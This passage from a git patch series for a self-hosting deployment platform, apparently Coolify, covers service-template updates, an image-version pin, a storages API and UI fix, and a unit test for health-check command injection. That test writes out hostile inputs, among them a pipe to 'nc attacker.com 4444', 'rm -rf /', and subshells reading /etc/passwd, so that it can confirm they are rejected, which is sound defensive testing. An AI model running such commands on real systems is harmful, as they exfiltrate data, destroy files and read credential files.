pbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjA1JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", + "compose": "c2VydmljZXM6CiAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX1MzXzgzMzMKICAgICAgLSAnQVdTX0FDQ0VTU19LRVlfSUQ9JHtTRVJWSUNFX1VTRVJfUzN9JwogICAgICAtICdBV1NfU0VDUkVUX0FDQ0VTU19LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX1MzfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3NlYXdlZWRmcy1zMy1kYXRhOi9kYXRhJwogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi9iYXNlLWNvbmZpZy5qc29uCiAgICAgICAgdGFyZ2V0OiAvYmFzZS1jb25maWcuanNvbgogICAgICAgIGNvbnRlbnQ6ICJ7XG4gIFwiaWRlbnRpdGllc1wiOiBbXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYW5vbnltb3VzXCIsXG4gICAgICBcImFjdGlvbnNcIjogW1xuICAgICAgICBcIlJlYWRcIlxuICAgICAgXVxuICAgIH0sXG4gICAge1xuICAgICAgXCJuYW1lXCI6IFwiYWRtaW5cIixcbiAgICAgIFwiY3JlZGVudGlhbHNcIjogW1xuICAgICAgICB7XG4gICAgICAgICAgXCJhY2Nlc3NLZXlcIjogXCJlbnY6QVdTX0FDQ0VTU19LRVlfSURcIixcbiAgICAgICAgICBcInNlY3JldEtleVwiOiBcImVudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVlcIlxuICAgICAgICB9XG4gICAgICBdLFxuICAgICAgXCJhY3Rpb25zXCI6IFtcbiAgICAgICAgXCJBZG1pblwiLFxuICAgICAgICBcIlJlYWRcIixcbiAgICAgICAgXCJSZWFkQWNwXCIsXG4gICAgICAgIFwiTGlzdFwiLFxuICAgICAgICBcIlRhZ2dpbmdcIixcbiAgICAgICAgXCJXcml0ZVwiLFxuICAgICAgICBcIldyaXRlQWNwXCJcbiAgICAgIF1cbiAgICB9XG4gIF1cbn1cbiIKICAgIGVudHJ5cG9pbnQ6ICJzaCAtYyAnXFxcbnNlZCBcInMvZW52OkFXU19BQ0NFU1NfS0VZX0lELyRBV1NfQUNDRVNTX0tFWV9JRC9nXCIgL2Jhc2UtY29uZmlnLmpzb24gPiAvYmFzZTEtY29uZmlnLmpzb247IFxcXG5zZWQgXCJzL2VudjpBV1NfU0VDUkVUX0FDQ0VTU19LRVkvJEFXU19TRUNSRVRfQUNDRVNTX0tFWS9nXCIgL2Jhc2UxLWNvbmZpZy5qc29uID4gL2NvbmZpZy5qc29uOyBcXFxud2VlZCBzZXJ2ZXIgLWRpcj0vZGF0YSAtbWFzdGVyLnBvcnQ9OTMzMyAtczMgLXMzLnBvcnQ9ODMzMyAtczMuY29uZmlnPS9jb25maWcuanNvblxcXG4nXG4iCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLS1zcGlkZXIgLXEgaHR0cDovLzAuMC4wLjA6ODMzMzsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHNlYXdlZWRmcy1hZG1pbjoKICAgIGltYWdlOiAnY2hyaXNsdXNmL3NlYXdlZWRmczo0LjEzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0FETUlOXzIzNjQ2CiAgICAgIC0gJ1NFQVdFRURfVVNFUl9BRE1JTj0ke1NFUlZJQ0VfVVNFUl9BRE1JTn0nCiAgICAgIC0gJ1NFQVdFRURfUEFTU1dPUkRfQURNSU49JHtTRVJWSUNFX1BBU1NXT1JEX0FETUlOfScKICAgIGNvbW1hbmQ6CiAgICAgIC0gYWRtaW4KICAgICAgLSAnLW1hc3Rlcj1zZWF3ZWVkZnMtbWFzdGVyOjkzMzMnCiAgICAgIC0gJy1hZG1pblVzZXI9JHtTRUFXRUVEX1VTRVJfQURNSU59JwogICAgICAtICctYWRtaW5QYXNzd29yZD0ke1NFQVdFRURfUEFTU1dPUkRfQURNSU59JwogICAgICAtICctcG9ydD0yMzY0NicKICAgICAgLSAnLWRhdGFEaXI9L2RhdGEnCiAgICB2b2x1bWVzOgogICAgICAtICdzZWF3ZWVkZnMtYWRtaW4tZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtLXNwaWRlciAtcSBodHRwOi8vMC4wLjAuMDoyMzY0NjsgWyAkJD8gLWxlIDggXScKICAgICAgaW50ZXJ2YWw6IDEwcwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgZGVwZW5kc19vbjoKICAgICAgc2Vhd2VlZGZzLW1hc3RlcjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQo=", "tags": [ "object", "storage", diff --git a/tests/Unit/HealthCheckCommandInjectionTest.php b/tests/Unit/HealthCheckCommandInjectionTest.php index 534be700a..88361c3d9 100644 --- a/tests/Unit/HealthCheckCommandInjectionTest.php +++ b/tests/Unit/HealthCheckCommandInjectionTest.php @@ -5,6 +5,9 @@ use App\Models\ApplicationDeploymentQueue; use App\Models\ApplicationSetting; use Illuminate\Support\Facades\Validator; +use Tests\TestCase; + +uses(TestCase::class); beforeEach(function () { Mockery::close(); @@ -176,11 +179,11 @@ it('strips newlines from CMD healthcheck command', function () { $result = callGenerateHealthcheckCommands([ 'health_check_type' => 'cmd', - 'health_check_command' => "redis-cli ping\n&& echo pwned", + 'health_check_command' => "redis-cli\nping", ]); expect($result)->not->toContain("\n") - ->and($result)->toBe('redis-cli ping && echo pwned'); + ->and($result)->toBe('redis-cli ping'); }); it('falls back to HTTP healthcheck when CMD type has empty command', function () { @@ -193,6 +196,68 @@ expect($result)->toContain('curl -s -X'); }); +it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl localhost; rm -rf /', + ]); + + // Semicolons are blocked by runtime regex — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('rm -rf'); +}); + +it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'echo test | nc attacker.com 4444', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('nc attacker.com'); +}); + +it('falls back to HTTP healthcheck when CMD command contains subshell', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl $(cat /etc/passwd)', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => str_repeat('a', 1001), + ]); + + // Exceeds max length — falls back to HTTP healthcheck + expect($result)->toContain('curl -s -X'); +}); + +it('falls back to HTTP healthcheck when CMD command contains backticks', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_type' => 'cmd', + 'health_check_command' => 'curl `cat /etc/passwd`', + ]); + + expect($result)->toContain('curl -s -X') + ->and($result)->not->toContain('/etc/passwd'); +}); + +it('uses sanitized method in full_healthcheck_url display', function () { + $result = callGenerateHealthcheckCommands([ + 'health_check_method' => 'INVALID;evil', + 'health_check_host' => 'localhost', + ]); + + // Method should be sanitized to 'GET' (default) in both command and display + expect($result)->toContain("'GET'") + ->and($result)->not->toContain('evil'); +}); + it('validates healthCheckCommand rejects strings over 1000 characters', function () { $rules = [ 'healthCheckCommand' => 'nullable|string|max:1000', @@ -253,15 +318,20 @@ function callGenerateHealthcheckCommands(array $overrides = []): string $application->shouldReceive('getAttribute')->with('settings')->andReturn($settings); $deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial(); + $deploymentQueue->shouldReceive('addLogEntry')->andReturnNull(); $job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial(); - $reflection = new ReflectionClass($job); + $reflection = new ReflectionClass(ApplicationDeploymentJob::class); $appProp = $reflection->getProperty('application'); $appProp->setAccessible(true); $appProp->setValue($job, $application); + $queueProp = $reflection->getProperty('application_deployment_queue'); + $queueProp->setAccessible(true); + $queueProp->setValue($job, $deploymentQueue); + $method = $reflection->getMethod('generate_healthcheck_commands'); $method->setAccessible(true); From c4279a6bcb008a05cb8934c77045e0f5a571a95d Mon Sep 17 00:00:00 2001 From: Taras Machyshyn Date: Mon, 16 Mar 2026 18:23:47 +0200 Subject: [PATCH 12/49] Define static versions --- templates/compose/espocrm.yaml | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/templates/compose/espocrm.yaml b/templates/compose/espocrm.yaml index 130562a78..6fec260c4 100644 --- a/templates/compose/espocrm.yaml +++ b/templates/compose/espocrm.yaml @@ -7,7 +7,7 @@ services: espocrm: - image: espocrm/espocrm:latest + image: espocrm/espocrm:9 environment: - SERVICE_URL_ESPOCRM - ESPOCRM_ADMIN_USERNAME=${ESPOCRM_ADMIN_USERNAME:-admin} @@ -31,7 +31,7 @@ services: condition: service_healthy espocrm-daemon: - image: espocrm/espocrm:latest + image: espocrm/espocrm:9 container_name: espocrm-daemon volumes: - espocrm:/var/www/html @@ -42,7 +42,7 @@ services: condition: service_healthy espocrm-websocket: - image: espocrm/espocrm:latest + image: espocrm/espocrm:9 container_name: espocrm-websocket environment: - SERVICE_URL_ESPOCRM_WEBSOCKET_8080 @@ -59,7 +59,7 @@ services: condition: service_healthy espocrm-db: - image: mariadb:latest + image: mariadb:11.8 environment: - MARIADB_DATABASE=${MARIADB_DATABASE:-espocrm} - MARIADB_USER=${SERVICE_USER_MARIADB} From 15d6de9f41b9f324f4144671044b6614d461ff9c Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 16 Mar 2026 21:10:00 +0100 Subject: [PATCH 13/49] fix(storages): hide PR suffix for services and fix instantSave logic - Restrict "Add suffix for PR deployments" checkbox to non-service resources in both shared and service file-storage views - Replace condition `is_preview_deployments_enabled` with `!$isService` for PR suffix visibility in storages/show.blade.php - Fix FileStorage::instantSave() to use authorize + syncData instead of delegating to submit(), preventing unintended side effects - Add $this->validate() to Storages/Show::instantSave() before saving - Add response content schemas to storages API OpenAPI annotations - Add additionalProperties: false to storage update request schema - Rewrite PreviewDeploymentBindMountTest with behavioral tests of addPreviewDeploymentSuffix instead of file-content inspection --- .../Api/ApplicationsController.php | 32 ++- app/Livewire/Project/Service/FileStorage.php | 6 +- app/Livewire/Project/Shared/Storages/Show.php | 3 +- openapi.json | 38 ++- openapi.yaml | 14 ++ .../project/service/file-storage.blade.php | 16 +- .../project/shared/storages/show.blade.php | 20 +- templates/service-templates-latest.json | 36 ++- templates/service-templates.json | 36 ++- tests/Unit/PreviewDeploymentBindMountTest.php | 223 ++++++++++++------ 10 files changed, 314 insertions(+), 110 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index 6521ef7ba..6188651a1 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -18,6 +18,7 @@ use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Facades\Validator; @@ -3944,6 +3945,12 @@ private function validateDataApplications(Request $request, Server $server) new OA\Response( response: 200, description: 'All storages by application UUID.', + content: new OA\JsonContent( + properties: [ + new OA\Property(property: 'persistent_storages', type: 'array', items: new OA\Items(type: 'object')), + new OA\Property(property: 'file_storages', type: 'array', items: new OA\Items(type: 'object')), + ], + ), ), new OA\Response( response: 401, @@ -3959,7 +3966,7 @@ private function validateDataApplications(Request $request, Server $server) ), ] )] - public function storages(Request $request) + public function storages(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); if (is_null($teamId)) { @@ -4022,6 +4029,7 @@ public function storages(Request $request) 'host_path' => ['type' => 'string', 'nullable' => true, 'description' => 'The host path (persistent only, not allowed for read-only storages).'], 'content' => ['type' => 'string', 'nullable' => true, 'description' => 'The file content (file only, not allowed for read-only storages).'], ], + additionalProperties: false, ), ), ], @@ -4030,6 +4038,7 @@ public function storages(Request $request) new OA\Response( response: 200, description: 'Storage updated.', + content: new OA\JsonContent(type: 'object'), ), new OA\Response( response: 401, @@ -4043,9 +4052,13 @@ public function storages(Request $request) response: 404, ref: '#/components/responses/404', ), + new OA\Response( + response: 422, + ref: '#/components/responses/422', + ), ] )] - public function update_storage(Request $request) + public function update_storage(Request $request): JsonResponse { $teamId = getTeamIdFromToken(); @@ -4117,6 +4130,21 @@ public function update_storage(Request $request) ], 422); } + // Reject fields that don't apply to the given storage type + if (! $isReadOnly) { + $typeSpecificInvalidFields = $request->type === 'persistent' + ? array_intersect(['content'], array_keys($request->all())) + : array_intersect(['name', 'host_path'], array_keys($request->all())); + + if (! empty($typeSpecificInvalidFields)) { + return response()->json([ + 'message' => 'Validation failed.', + 'errors' => collect($typeSpecificInvalidFields) + ->mapWithKeys(fn ($field) => [$field => "Field '{$field}' is not valid for type '{$request->type}'."]), + ], 422); + } + } + // Always allowed if ($request->has('is_preview_suffix_enabled')) { $storage->is_preview_suffix_enabled = $request->is_preview_suffix_enabled; diff --git a/app/Livewire/Project/Service/FileStorage.php b/app/Livewire/Project/Service/FileStorage.php index 71da07eb0..844e37854 100644 --- a/app/Livewire/Project/Service/FileStorage.php +++ b/app/Livewire/Project/Service/FileStorage.php @@ -194,9 +194,11 @@ public function submit() } } - public function instantSave() + public function instantSave(): void { - $this->submit(); + $this->authorize('update', $this->resource); + $this->syncData(true); + $this->dispatch('success', 'File updated.'); } public function render() diff --git a/app/Livewire/Project/Shared/Storages/Show.php b/app/Livewire/Project/Shared/Storages/Show.php index 72b330845..eee5a0776 100644 --- a/app/Livewire/Project/Shared/Storages/Show.php +++ b/app/Livewire/Project/Shared/Storages/Show.php @@ -72,9 +72,10 @@ public function mount() $this->isReadOnly = $this->storage->shouldBeReadOnlyInUI(); } - public function instantSave() + public function instantSave(): void { $this->authorize('update', $this->resource); + $this->validate(); $this->syncData(true); $this->storage->save(); diff --git a/openapi.json b/openapi.json index d1dadcaf0..5477420ab 100644 --- a/openapi.json +++ b/openapi.json @@ -3463,7 +3463,28 @@ ], "responses": { "200": { - "description": "All storages by application UUID." + "description": "All storages by application UUID.", + "content": { + "application\/json": { + "schema": { + "properties": { + "persistent_storages": { + "type": "array", + "items": { + "type": "object" + } + }, + "file_storages": { + "type": "array", + "items": { + "type": "object" + } + } + }, + "type": "object" + } + } + } }, "401": { "$ref": "#\/components\/responses\/401" @@ -3545,14 +3566,22 @@ "description": "The file content (file only, not allowed for read-only storages)." } }, - "type": "object" + "type": "object", + "additionalProperties": false } } } }, "responses": { "200": { - "description": "Storage updated." + "description": "Storage updated.", + "content": { + "application\/json": { + "schema": { + "type": "object" + } + } + } }, "401": { "$ref": "#\/components\/responses\/401" @@ -3562,6 +3591,9 @@ }, "404": { "$ref": "#\/components\/responses\/404" + }, + "422": { + "$ref": "#\/components\/responses\/422" } }, "security": [ diff --git a/openapi.yaml b/openapi.yaml index 74af3aa13..dd03f9c42 100644 --- a/openapi.yaml +++ b/openapi.yaml @@ -2188,6 +2188,13 @@ paths: responses: '200': description: 'All storages by application UUID.' + content: + application/json: + schema: + properties: + persistent_storages: { type: array, items: { type: object } } + file_storages: { type: array, items: { type: object } } + type: object '401': $ref: '#/components/responses/401' '400': @@ -2246,15 +2253,22 @@ paths: nullable: true description: 'The file content (file only, not allowed for read-only storages).' type: object + additionalProperties: false responses: '200': description: 'Storage updated.' + content: + application/json: + schema: + type: object '401': $ref: '#/components/responses/401' '400': $ref: '#/components/responses/400' '404': $ref: '#/components/responses/404' + '422': + $ref: '#/components/responses/422' security: - bearerAuth: [] diff --git a/resources/views/livewire/project/service/file-storage.blade.php b/resources/views/livewire/project/service/file-storage.blade.php index 24612098b..4bd88d761 100644 --- a/resources/views/livewire/project/service/file-storage.blade.php +++ b/resources/views/livewire/project/service/file-storage.blade.php @@ -15,13 +15,15 @@
- @can('update', $resource) -
- -
- @endcan + @if ($resource instanceof \App\Models\Application) + @can('update', $resource) +
+ +
+ @endcan + @endif @if (!$isReadOnly) @can('update', $resource) diff --git a/resources/views/livewire/project/shared/storages/show.blade.php b/resources/views/livewire/project/shared/storages/show.blade.php index a3a486b92..7fc58000c 100644 --- a/resources/views/livewire/project/shared/storages/show.blade.php +++ b/resources/views/livewire/project/shared/storages/show.blade.php @@ -38,13 +38,15 @@ @endif - @can('update', $resource) -
- -
- @endcan + @if (!$isService) + @can('update', $resource) +
+ +
+ @endcan + @endif @else @can('update', $resource) @if ($isFirst) @@ -61,9 +63,9 @@ @endif - @if (data_get($resource, 'settings.is_preview_deployments_enabled')) + @if (!$isService)
-
diff --git a/templates/service-templates-latest.json b/templates/service-templates-latest.json index bc05073d1..f22a2ab53 100644 --- a/templates/service-templates-latest.json +++ b/templates/service-templates-latest.json @@ -818,7 +818,7 @@ "databasus": { "documentation": "https://databasus.com/installation?utm_source=coolify.io", "slogan": "Databasus is a free, open source and self-hosted tool to backup PostgreSQL, MySQL, and MongoDB.", - "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYyLjE4LjAnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", + "compose": "c2VydmljZXM6CiAgZGF0YWJhc3VzOgogICAgaW1hZ2U6ICdkYXRhYmFzdXMvZGF0YWJhc3VzOnYzLjE2LjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBTRVJWSUNFX1VSTF9EQVRBQkFTVVNfNDAwNQogICAgdm9sdW1lczoKICAgICAgLSAnZGF0YWJhc3VzLWRhdGE6L2RhdGFiYXN1cy1kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcU8tJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6NDAwNS9hcGkvdjEvc3lzdGVtL2hlYWx0aCcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiA1Cg==", "tags": [ "postgres", "mysql", @@ -1951,7 +1951,7 @@ "heyform": { "documentation": "https://docs.heyform.net/open-source/self-hosting?utm_source=coolify.io", "slogan": "Allows anyone to create engaging conversational forms for surveys, questionnaires, quizzes, and polls. No coding skills required.", - "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV84MDAwCiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo4MDAwIHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCg==", + "compose": "c2VydmljZXM6CiAgaGV5Zm9ybToKICAgIGltYWdlOiAnaGV5Zm9ybS9jb21tdW5pdHktZWRpdGlvbjpsYXRlc3QnCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWFzc2V0czovYXBwL3N0YXRpYy91cGxvYWQnCiAgICBkZXBlbmRzX29uOgogICAgICBtb25nbzoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICBrZXlkYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9VUkxfSEVZRk9STV85MTU3CiAgICAgIC0gJ0FQUF9IT01FUEFHRV9VUkw9JHtTRVJWSUNFX1VSTF9IRVlGT1JNfScKICAgICAgLSAnU0VTU0lPTl9LRVk9JHtTRVJWSUNFX0JBU0U2NF82NF9TRVNTSU9OfScKICAgICAgLSAnRk9STV9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfQkFTRTY0XzY0X0ZPUk19JwogICAgICAtICdNT05HT19VUkk9bW9uZ29kYjovL21vbmdvOjI3MDE3L2hleWZvcm0nCiAgICAgIC0gUkVESVNfSE9TVD1rZXlkYgogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfS0VZREJ9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICd3Z2V0IC1xTy0gaHR0cDovLzEyNy4wLjAuMTo5MTU3IHx8IGV4aXQgMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDMKICBtb25nbzoKICAgIGltYWdlOiAncGVyY29uYS9wZXJjb25hLXNlcnZlci1tb25nb2RiOmxhdGVzdCcKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2hleWZvcm0tbW9uZ28tZGF0YTovZGF0YS9kYicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAiZWNobyAnb2snID4gL2Rldi9udWxsIDI+JjEiCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogICAgICBzdGFydF9wZXJpb2Q6IDVzCiAga2V5ZGI6CiAgICBpbWFnZTogJ2VxYWxwaGEva2V5ZGI6bGF0ZXN0JwogICAgY29tbWFuZDogJ2tleWRiLXNlcnZlciAtLWFwcGVuZG9ubHkgeWVzJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0tFWURCX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9LRVlEQn0nCiAgICB2b2x1bWVzOgogICAgICAtICdoZXlmb3JtLWtleWRiLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0ga2V5ZGItY2xpCiAgICAgICAgLSAnLS1wYXNzJwogICAgICAgIC0gJyR7U0VSVklDRV